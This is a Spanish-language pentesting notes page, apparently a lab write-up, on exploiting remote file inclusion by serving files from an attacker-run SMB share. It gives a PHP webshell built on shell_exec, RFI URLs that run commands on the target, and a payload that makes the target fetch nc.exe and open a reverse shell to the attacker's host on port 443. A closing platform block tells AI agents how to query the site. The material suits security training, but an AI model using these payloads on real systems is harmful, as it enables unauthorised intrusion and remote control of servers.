> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md).

# Servidor SMB para RFI

#### Prueba RFI mediante servidor web remoto:

Hemos intentado cargar un archivo remoto a través de la URL `?lang=http://10.10.14.3/index.html` apuntando a nuestro servidor web local con Python3.

```bash
python3 -m http.server 80

```

```url
?lang=http://10.10.14.3/index.html

```

pero esto no funcionó.

<figure><img src="/files/b84923e35fb7237e1bb742146bf5b2b8261c4e0e" alt="" width="518"><figcaption></figcaption></figure>

**Creación de un servidor SMB:** Hemos creado un servidor SMB local con `smbserver.py` y compartido el directorio actual:

```bash
smbserver.py share $(pwd) -smb2support

```

Luego, hemos intentado cargar un archivo desde el servidor SMB modificando el parámetro `lang`

```bash
?lang=/10.10.14.3/share/index.html

```

* Esta vez, el servidor interpretó correctamente nuestro archivo `index.html`, mostrando su contenido ("Hello World").

<figure><img src="/files/84991b6bf63b82dc41a4254f23a8db565513639c" alt="" width="563"><figcaption></figcaption></figure>

**Creación de un webshell PHP (`cmd.php)`** Hemos creado un archivo `cmd.php` en nuestro servidor SMB para ejecutar comandos de forma remota mediante el parámetro `cmd`:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

```

**Ejecución de comandos mediante SMB**

```bash
//10.10.14.3/share/cmd.php&cmd=<command>

```

Usando la URL de abajo, hemos ejecutado el comando `whoami`:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami

```

<figure><img src="/files/31707e597ed7e277be2c2e93d7d7bb127149607f" alt="" width="563"><figcaption></figcaption></figure>

### Shell inversa (nc.exe)

**Descarga de `nc.exe` para shell inversa:**/ Hemos obtenido el `nc.exe` binario de las herramientas de fuzzing en `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` y lo hemos copiado en el directorio de trabajo.

```bash
locate nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

**Escuchando en el puerto 443:**/ Hemos configurado un `nc` escuchador en el puerto 443:

```bash
rlwrap nc -nvlp 443

```

**Ejecución de comandos de la shell inversa mediante SMB:**/ Luego hemos iniciado una shell inversa apuntando el parámetro `cmd` a nuestro archivo

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443

```

Así hemos obtenido una shell inversa a nuestra máquina.

<figure><img src="/files/c0a445a8c4126658024d1aae0077189ba2769ccc" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
